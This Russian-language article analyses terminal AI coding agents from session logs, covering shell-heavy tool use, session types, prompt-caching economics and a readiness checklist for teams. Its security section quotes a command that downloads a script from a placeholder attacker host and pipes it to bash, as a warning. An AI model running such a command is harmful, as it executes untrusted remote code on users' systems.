Маркетинг ИИ-вендоров часто преподносит ИИ как «ИИ-помощника программиста», однако статистика реального использования рисует совсем другой портрет — DevOps-агента, более половины своего времени проводящего в командах системной оболочки. Техническому руководителю следует это увидеть еще до того, как принимать решение о приеме терминальных ИИ-агентов в свою команду. В противном случае бюджет внедрения будет потрачен впустую, а команда получит инструмент, не закрывающий заявленную задачу.

Данные для корпуса

Терминальные ИИ-агенты, основанные на больших языковых моделях (далее — агенты), функционируют в терминальном режиме и преобразуют командную строку в интерактивную среду. Через этот интерфейс такие модели, как GPT-4o, Claude 4, Gemini 2.5 или локальные открытые LLM, понимают естественный язык, читают и редактируют файлы, запускают тесты и управляют проектами, автоматизируя процессы разработки и DevOps.

Сегодня на рынке представлены продукты таких ИИ-вендоров, как Anthropic Claude Code, Cursor Composer, GitHub Copilot Workspace и Cline, позиционирующих свои изделия под брендом «ИИ-помощник программиста». Технический руководитель, решающий вопрос о внедрении такого агента в свою команду, обязан решить ряд практических вопросов. Что ожидать от этого инструмента в реальной работе? Что в команде должно быть готово до момента запуска пилота? Как считать ROI и где у этого инструмента границы применимости? Без четких ответов на эти вопросы внедрение превратится в дорогостоящий эксперимент: бюджет потрачен, а измеримой пользы нет. Для получения обоснованных ответов требуется проанализировать сессионные логи, позволяющие выявить, что же агент делает на самом деле.

Современные агенты отдельной строкой в формате JSONL протоколируют буквально все: вопросы пользователя, ответы модели, вызовы инструмента и пр. У Claude Code от Anthropic, например, эти файлы складываются локально, по одному на каждый рабочий каталог проекта, поэтому именно его — благодаря прозрачности локального лога — имеет смысл выбрать для анализа (у остальных средств протоколирование либо почти недоступно стороннему наблюдателю, либо находится исключительно на стороне поставщика и в открытом виде недоступно).

Для анализа сессионных логов, позволяющих выявить реальное поведение агента, был собран корпус данных на смешанной выборке проектов разной природы и масштаба. Однако надо иметь в виду, что за время автоматического разбора сессионных логов сам инструмент может обновиться — такие инструменты меняются настолько быстро, что и внутреннее обучение, и любая фиксация процессов могут устареть к моменту окончания пилота. Именно поэтому надо фокусироваться не на конкретных особенностях текущей реализации, а на структурных закономерностях класса инструментов в целом — все выводы надо делать именно на уровне общего паттерна и при оценке внедрения настоятельно рекомендуется выстраивать свои решения в той же логике — иначе любая внутренняя методика рискует устареть быстрее, чем команда успеет ею воспользоваться. Кроме этого, Claude Code здесь рассматривается лишь как представитель класса инструментов, а не как главный герой: доминирование Bash, бимодальность распределения сессий и поведение кэша контекста следует считать характеристиками не конкретной модели Anthropic, а общего паттерна «терминальный ИИ-агент, работающий в продолжительной автономной сессии». В подтверждение того, что речь идет о структурных закономерностях, достаточно посмотреть, в какую сторону развиваются конкуренты: Cursor добавил background-агентов и расширил автономный режим, GitHub Copilot Workspace заметно сместился к длинным задачам от заявки до готового pull request, Cline и Aider открыто позиционируют себя уже не как редакторы кода, а как оркестраторы задач. Все четыре инструмента движутся в одном направлении, а описанные здесь закономерности: доминирование shell-операций, бимодальность сессий, экономический эффект кэширования — в целом сохраняются при смене инструмента.

Bash, а не Edit

Уже первый и самый важный для руководителя вывод из разбора корпуса идет вразрез с привычным маркетинговым позиционированием «ИИ-помощников программиста»: больше половины всех вызовов инструментов в корпусе — это не правка файлов кодов, а команды в оболочке. Однако и Anthropic, и Cursor, и GitHub и др. продают этот инструмент именно как помощник программиста, а покупатель ожидает получить «генератор кода». Фактическое распределение вызовов показывает другую картину: Bash — 56%, Read — 16%, Edit — 15%, Write — 7%, прочие (TaskUpdate, Agent, WebSearch и др.) — 6%. Что агент делает в Bash, видно из таблицы.

Риски и подводные камни ИИ-агентов

Получается, что около половины всего Bash-времени агента уходит на работу с контейнерами и системой управления версиями Git, а вовсе не на редактор программного кода, как заявлено в маркетинговых описаниях ИИ-вендоров. Сборки и тесты добавляют еще примерно пятую часть, все остальное — обслуживающие операции вроде перемещения файлов, диагностики сети и установки зависимостей. Команды, закупающие «ИИ-помощника» под одно позиционирование и получающие в работе другое, рискуют распланировать пилот неверно и потерять время. Фокус работы агента смещен в сторону инфраструктуры, и это надо иметь в виду при планировании внедрения.

Соотношение между правкой уже существующего кода и его генерацией с нуля — разница между вызовами Edit и Write — оказывается примерно вдвое больше в пользу правок: на каждую написанную с нуля строку приходится около двух правок уже существующего кода. С нуля агент почти ничего не пишет — его работа в основном сводится к тому, чтобы крутить уже существующий код, исправлять его в работающей инфраструктуре и настраивать его окружение.

Отдельного внимания заслуживают оставшиеся вызовы в корпусе, в которые попали TaskUpdate (встроенная система ведения задач), Agent (запуск суб-агентов для длинных побочных активностей), WebSearch и несколько специализированных инструментов. Их доля в общем балансе вызовов невелика, но именно эти средства обеспечивают переход агента в марафонский режим работы, чтобы он мог часами работать без участия человека. А для этого ему нужен не очередной «лучший автокомплит», а способность планировать свои действия, делегировать побочные задачи и сверять собственный результат с поставленной целью. Edit и Write — это инструменты исполнителя, тогда как TaskUpdate и Agent — это уже управленческие функции, и продакт-команды агентов сегодня инвестируют именно в эту менее заметную, но критическую часть инструмента.

Итак, важный вывод для архитектора: ROI инструментов ИИ в большей степени зависит от готовности инфраструктуры, а не от способности агента «писать код». Команда, у которой заранее упакованы Docker-образы под типовые задачи, настроен SSH-доступ к стендам и развернуты локальные зеркала зависимостей, получит от агента кратно больше пользы, чем команда, рассчитывающая на магическую силу ИИ по написанию программы. А это меняет состав инвестиций при внедрении ИИ в процесс программирования — следует сначала вкладываться в программную инженерию (platform engineering) и культуру разработки, а уже потом — в промпт-инжиниринг. Команды, которые делают наоборот, разочаровываются в инструменте именно потому, что инфраструктурная часть не готова, а агент тратит свое время на борьбу с окружением, а не на то, ради чего это окружение существует, — на программу, которая работает внутри него. Этот вывод справедлив для всего класса терминальных ИИ-агентов: смена конкретного продукта на инструмент другого вендора при той же неготовности инфраструктуры даст ровно такой же результат.

ИИ-агент, да не тот

Разберем теперь задачи, на которых агенты либо стабильно проваливаются, либо требуют столько ручной коррекции, что выгода от ИИ-автоматизации полностью исчезает. Руководителю, оценивающему внедрение ИИ-агентов, изначально важно держать в голове их ограничения, чтобы заранее определить, какие задачи имеет смысл им поручать, а какие — оставить за человеком. От этого напрямую зависит и состав пилотной команды, и итоговый ROI. Можно выделить три класса задач, ограничивающих применение агента.

Первый, наиболее очевидный класс — все, что связано с фронтендом и пользовательским интерфейсом. Закономерность, по которой агент уверенно работает там, где есть формализуемые контракты, и буксует там, где их нет, наглядно подтверждается параллельным наблюдением: backend-сервис с подробно описанным API закрыл план в 16 подзадачах из 16, тогда как параллельно реализуемый frontend-сервис по той же методологии не закрыл ни одной из 15. Backend выступает здесь контрольной группой с явно заданными контрактами, frontend — опытной группой без них; разрыв в результатах однозначно указывает на источник проблемы. Качество пользовательского интерфейса не сводится лишь к набору проверяемых автотестов: такие критерии, как «выглядит хорошо», «удобно нажимать», «компоненты не прыгают при загрузке», агент сам проверить не способен, а критерии готовности продукта (Definition of Done) в этих терминах в принципе не формулируются. Для фронтенд-разработки агент сегодня остается лишь помощником человека, а не его заменителем.

Второй класс задач — все, что связано с окружением проекта. Где-то агент не учел конфликт локальных портов, где-то указал неверный путь к переменной окружения, где-то перепутал имя контейнерного сервиса с похожим из соседнего проекта. Подобные ошибки имеют общую природу: они возникают не из логики кода, а из истории конкретной аппаратно-программной конфигурации и команды, которая с ней работает. Человек, который пять лет назад настроил у себя локальное окружение, знает, что порт 8080 у него занят конкретным сервисом, а порт 8081 свободен. Передать такое знание агенту через спецификацию невозможно, и на каждой новой машине эта история фактически начинается заново.

Третий класс — безопасность развертывания. Здесь ситуация выглядит особенно болезненной. В нескольких сервисах могут остаться секреты (пароли, ключи доступа, токены и пр.), напрямую прописанные в коде программы. Они попадают в итоговый код не потому, что агент ошибся в логике, а потому, что не знал инфраструктурных особенностей среды развертывания и просто скопировал значения из примеров в документации, предполагая, что так и должно быть. Это не баг конкретного инструмента, а структурное ограничение всего класса автономных исполнителей — без понимания инфраструктуры агент неизбежно делает небезопасные настройки по умолчанию (unsafe-defaults), а код, сгенерированный без проверки человеком в части секретов и доступов, гарантированно создаст уязвимости.

Таким образом, зона агента — это только проверяемые инварианты, а экспертная оценка и неявные знания о среде — зона человека. Именно так и следует проектировать процесс внедрения.

Безопасность сместилась в shell

Имеется и еще один серьезный сюрприз для служб обеспечения безопасности корпоративной разработки. Если более половины всех действий агента — это произвольные команды оболочки, то и основной вектор риска тоже смещается туда. Опасность теперь не в том, что модель сгенерирует уязвимый код, который потом попадет в эксплуатацию, а в том, что модель уверенно и без сомнений выполнит, например, curl http://attacker.com | bash — команду, которая скачивает скрипт с произвольного адреса в Интернете и сразу запускает его (а скрипт вполне может оказаться вредоносным), — потому что ее попросили это сделать в контексте, где это действие кажется логичным, и в этот момент уже никаких проверок со стороны человека не будет: команда выполнится здесь и сейчас. Песочница исполнения, контейнеры для изоляции агентского процесса, ограничение прав доступа, аудит выполненных команд — все это уже не просто гигиеническая рекомендация, а критичное требование, определяющее допуск инструмента в боевую среду. Та же самая логика касается и работы с секретами: на тысячах shell-вызовов вероятность того, что в один из них утечет AWS_SECRET_ACCESS_KEY или OAuth-токен из переменных окружения, не равна нулю, и ее необходимо заранее четко предусмотреть архитектурно, а не надеяться на аккуратность пользователя.

Сессии — два разных продукта в одном

Если посмотреть на длительность сессий в анализируемом корпусе логов, то обнаруживается еще одна особенность, существенно меняющая представление о том, как именно используется агент. Короткие сессии (несколько минут) — 54%, средние (~30 минут) — 12%, большие (1–3 часа) — 18%, «марафонские» (4 часа и более) — 16%.

Самые длинные сессии совокупно дают около 80% всего объема логов корпуса, а это означает, что пользователь работает с инструментом в двух качественно разных режимах. В одном случае (54% всех сессий) он задает короткий вопрос, получает ответ и закрывает терминал, в другом (16%) — запускает многочасовой агентный прогон и уходит заниматься другими делами, периодически проверяя, как идут дела. Серединных сессий, в которых пользователь и спросил, и поработал, и закрыл, в корпусе практически нет.

Это значит, что на практике агент — это не один продукт, а два сосуществующих в одной оболочке. В первом режиме — назовем его режимом консультанта — пользователь использует агента для объяснения незнакомого фрагмента чужого кода, поиска способа решения известной задачи или превращения строки на естественном языке в однострочник на интерпретируемом языке скриптов AWK. Во втором — режиме автономного исполнителя — агенту поручается серьезная инженерная задача, и он часами самостоятельно над ней работает: улучшить структуру кода модуля, развернуть весь жизненный цикл сервиса, прогнать миграцию базы данных с переписыванием всех затронутых запросов и пр.

При разборе содержимого самых длинных сессий из корпуса обнаруживается типичный сценарий — многошаговая инженерная задача, которую человек обычно выполняет за один спринт: подъем нового микросервиса с нуля, от выбора структуры каталогов до первого успешного CI-прохода; миграция базы данных с переписыванием всех затронутых запросов и обновлением тестов; рефакторинг авторизации в работающем сервисе с сохранением обратной совместимости; разработка интеграционного теста на стенде с реальными внешними API. Каждая такая сессия — это десятки часов машинного времени, а расход токенов языковых моделей на ввод и вывод исчисляется десятками миллионов. Без механизма кэширования контекста экономика подобных сессий просто не сходилась бы: ROI съели бы расходы на повторную загрузку контекста при каждом следующем шаге.

Усредненная метрика «средняя длина сессии», которую любят показывать ИИ-вендоры, для распределения такой природы бессмысленна. Стоимость, скорость и ROI у консультативных и марафонских сессий принципиально разные, и считать их вместе — это средняя температура по больнице. Корпоративные оценки эффективности агентов, если они нужны для обоснования расходов на LLM, имеет смысл сразу разделять по двум режимам и считать ROI каждого отдельно. Бимодальность здесь — структурное свойство класса, а не текущей реализации Claude Code: попытка усреднить два качественно разных режима будет давать бессмысленную цифру вне зависимости от того, чьим именно агентом пользуется команда.

Кэш меняет экономику ИИ

Еще один неожиданный результат разбора корпуса непосредственно касается экономики ИИ, тесно зависящей от механизма кэширования промптов.

Prompt caching (кэширование промптов) — механизм, при котором длинный неизменный фрагмент контекста (описание проекта, открытые файлы, история переписки, инструкции системного промпта и пр.) загружается в модель один раз и помечается на стороне поставщика как кэшируемый. При всех последующих обращениях модель не пересчитывает этот фрагмент с нуля, а читает его из кэша. Запись в кэш обходится чуть дороже обычного input-токена оплаты работы LLM (примерно в 1,25 раза у Claude Opus), но чтение из кэша — в десять раз дешевле обычного input. Получается, что если один и тот же контекст переиспользуется хотя бы два-три раза подряд, то экономия от чтения существенно превышает наценку за запись.

За время формирования корпуса через кэш модели прошло более пяти миллиардов прочитанных токенов, что на порядки больше записанных и сгенерированных, вместе взятых. Соотношение прочитанных из кэша токенов к записанным составило примерно 39:1, иначе говоря, каждая записанная в кэш единица контекста использовалась затем повторно в среднем 39 раз. Именно этим и объясняется, почему агенты в марафонских сессиях оказываются экономически осмысленными: без кэша input-нагрузка обошлась бы примерно в 76 тыс. долл. (по тарифу Claude Opus), тогда как с кэшем фактическая нагрузка пересчитывается приблизительно в 11 тыс. Экономия налицо.

На практике реальный пользователь платит за такую же нагрузку значительно меньше: например, для индивидуальных и небольших командных сценариев у Anthropic имеются подписки Max, Pro и Team, внутри которых описанный объем вмещается в сотню долларов в месяц (актуальные тарифы — anthropic.com/pricing). Однако даже с учетом подписочной экономии важен сам масштаб: разница между «76 тыс.» и «11 тыс.» долларов за один и тот же период работы — это уже не вопрос оптимизации, а граница между «не запускаем проект вовсе» и «спокойно масштабируем задачу на десятки людей». Без эффективного кэширования контекста длинные агентные сессии экономически неприемлемы, однако именно такие сессии создают эффект автономного ИИ-исполнителя, ради которого и приобретаются ИИ-инструменты.

Появление prompt caching существенно меняет и логику закупки ИИ-инструментов. Традиционно корпоративные оценки стоимости LLM-инструментов делались по «номинальному» тарифу, поэтому большие проекты ИИ быстро упирались в потолок ROI: чем шире контекст, тем дороже каждая итерация. С реальным кэшированием промптов картина обратная: чем глубже команда уходит в инструмент и чем длиннее держит открытый контекст (объем данных, который система ИИ может держать в памяти и обрабатывать за один раз), тем дешевле обходится каждый следующий запрос. Если раньше работала рекомендация «задавай короткие точные вопросы», то теперь она сменилась на противоположную — «держи открытый контекст и наращивай его постепенно».

Привычка формируется за несколько недель

Еще один важный наблюдаемый эффект — это динамика обучения пользователя работе с инструментом.

Исследование показало, что доля Bash остается стабильной — профиль того, что агент делает, не меняется со временем, однако заметно меняется глубина сессий: медианное число tool-вызовов растет. Пользователь постепенно учится выжимать из инструмента максимум за один заход — формулирует запросы шире, доверяет агенту больше шагов подряд, перестает страховаться излишними проверками каждого промежуточного результата. С точки зрения безопасности это скорее нейтральный факт — сама безопасность должна идти отдельным контуром от написания кода, а проверки на уязвимости, секреты и опасные команды должны выявлять недочеты вне зависимости от того, какая методология применялась при создании кода. При этом для самого пользователя осмысленность работы остается ценностью — чем точнее формулируется задача и чем лучше пользователь понимает, что именно делегирует, тем меньше потом приходится править то, что уже было сделано.

Качественно сдвиг выглядит примерно так. В начале периода обучения типичная сессия — это: «как пишется этот синтаксис», «где в коде объявлена эта переменная», «что делает этот SQL». Пользователь использует агента ровно так же, как раньше использовал поисковик, только с более удобным форматом ответа. К концу обучения типичная сессия выглядит уже иначе: пользователь дает агенту цель верхнего уровня — например, «подними новый сервис на FastAPI с метриками Prometheus, протестируй и закомми». Агент выполняет несколько десятков шагов самостоятельно, а человек проверяет результат на выходе. Эта эволюция занимает недели регулярной работы. Главное приобретение пользователя за это время — не специфические трюки одного инструмента, а понимание того, на что вообще способен агент: какие задачи ему можно доверить решать полностью, какие лучше разбить, а где агент буксует. При смене инструмента на изделие другого вендора это понимание в основном переносится, а заново настраиваются только частности: синтаксис конкретных команд, стиль запросов, особенности работы с длинными контекстами в конкретной модели.

Важный вывод для технических руководителей, рассматривающих целесообразность внедрения агентов. Трехдневный пилот покажет только тот режим работы, в котором пользователь нервничает и проверяет каждый шаг, потому что еще не освоился с инструментом, реальный ROI которого начинает проявляться только через несколько недель регулярной работы, когда пользователь привыкает делегировать многошаговые сценарии и доверять промежуточным результатам. Короткие пилоты систематически занижают потенциал инструмента — это структурная проблема корпоративных решений о закупке. Минимально разумный срок пилота — четыре-шесть недель, а оценивать ROI до окончания этого срока смысла нет.

Чек-лист готовности команды

Можно предложить список проверок, помогающих заранее оценить, готова ли команда подключать ИИ-агента к реальным проектам создания ПО или пока надо ограничиться экспериментами на изолированных личных, некоммерческих задачах. Если на половину или больше пунктов из этого списка получен ответ «нет», то пилот провалится не из-за самого инструмента, а из-за неготовности окружения, в которое его пытаются встроить.

  1. Среда разработки воспроизводима без участия конкретного человека. Если новый разработчик не может поднять проект по README.md за час самостоятельно, то агент его тоже не поднимет.
  2. Все секреты вынесены из репозитория. Vault, AWS Secrets Manager, sealed-secrets — что угодно, но не application.properties (файл конфигурации) с паролями в исходном коде.
  3. Имеется готовый Docker-образ под типовую задачу команды. Не «соберите образ сами по инструкции», а выверенная команда для загрузки образов (docker pull) — и сразу к работе.
  4. Тесты запускаются одной командой без предварительной подготовки окружения. Если перед тестами нужно «поправить вот эту переменную и почистить кэш», то агент будет непрерывно спотыкаться.
  5. CI-конвейер выполняется за разумное время. Если время от момента написания кода разработчиком до его развертывания на производственной среде составляет сорок минут, то и агент будет ждать его так же, как и человек, потратив на это и токены оплаты, и календарное время.
  6. Имеется отдельный регламент анализа кода для агентских PR (Pull Request). Не «как обычно», а с учетом специфики ИИ: дополнительная проверка секретов в коде, аудит сторонних сервисов, к которым агент обращался, контроль миграций базы данных.
  7. Команда готова инвестировать несколько недель в адаптацию. Если пилот оценивается за одну неделю, его лучше и не начинать — выводы будут заведомо неполными.

Половина пунктов этого списка — это базовая платформная гигиена, полезная и без всяких ИИ-агентов. Однако в контексте внедрения агентов она перестает быть лишь хорошей практикой, а становится обязательной: команды, у которых эти пункты не закрыты, обычно получают от агента опыт, похожий на работу со стажером без знания среды, — он вроде бы что-то делает, но при этом постоянно что-нибудь ломает.

Что дальше?

Сегодня заметно меняется сам профиль работы программиста рядом с агентом. Фокус внимания человека перемещается с написания кода на формулировку задачи, проверку результата и отслеживание пограничных случаев. Это не уход программирования как профессии, а смена пропорций. Привычные 80% времени на код и 20% на его анализ меняются местами. Ключевыми навыками становятся: четкая постановка задачи и направление работы агента (по умолчанию агент пишет в собственном стиле, но при грамотно сформулированном контексте соблюдает архитектуру и стиль конкретного проекта, а навык «направления» становится новым умением, которое заменяет привычное «писать код руками»); декомпозиция задачи на проверяемые подзадачи (Definition of Done превращается из формальности в рабочий артефакт повседневной разработки); владение инфраструктурой.

Все чаще встречаются проекты, где агент пишет систему практически с нуля, включая структуру репозитория, выбор зависимостей и базовый каркас сервисов, — в таких сценариях речь уже идет не о правке чужого кода, а о проектировании совместно с агентом. Условный «ИИ-нативный» разработчик ближайшего будущего — не тот, кто умеет писать промпты, а тот, кто умеет проектировать процесс, в который агент встроен в качестве одного из инструментов, а это уже скорее роль тимлида или техлида, чем senior-программиста.

***

За приведенной картиной анализа корпуса видна не особенность одного конкретного ИИ-инструмента, а структурный паттерн всего класса терминальных ИИ-агентов. Состав игроков в этом сегменте на горизонте следующих двух-трех лет наверняка сменится, однако сами закономерности, по которым этот класс инструментов живет и развивается, останутся прежними.

Рыночное позиционирование агента как «ИИ-помощника программиста» часто вводит руководителей в заблуждение, и такое позиционирование одинаково характерно для всех крупных ИИ-вендоров (Anthropic, Cursor, GitHub, Cognition). Фактически современный агент представляет собой «умный» DevOps, а команды, планирующие его внедрение, выигрывают лишь тогда, когда начинают с подготовки инфраструктуры, а не с курсов по prompt engineering. Платформная команда, способная обеспечить агенту воспроизводимую среду, контейнеры с зависимостями, чистые секреты и автоматизированные тесты, — вот та первая инвестиция, которая дает максимальную отдачу. Промпт-инжиниринг при этом не исчезает, но его роль вторична: сначала инфраструктура, потом обучение людей. Команды, которые делают это в обратном порядке, как правило, разочаровываются в инструменте и возвращаются к ручной разработке, упустив тот самый эффект, ради которого и затевалось внедрение инструментов ИИ.

Александр Огуречников (alexogur04@gmail.com) — ведущий Java-разработчик, команда антифрод-платформы B2B, крупный российский ретейлер (Москва).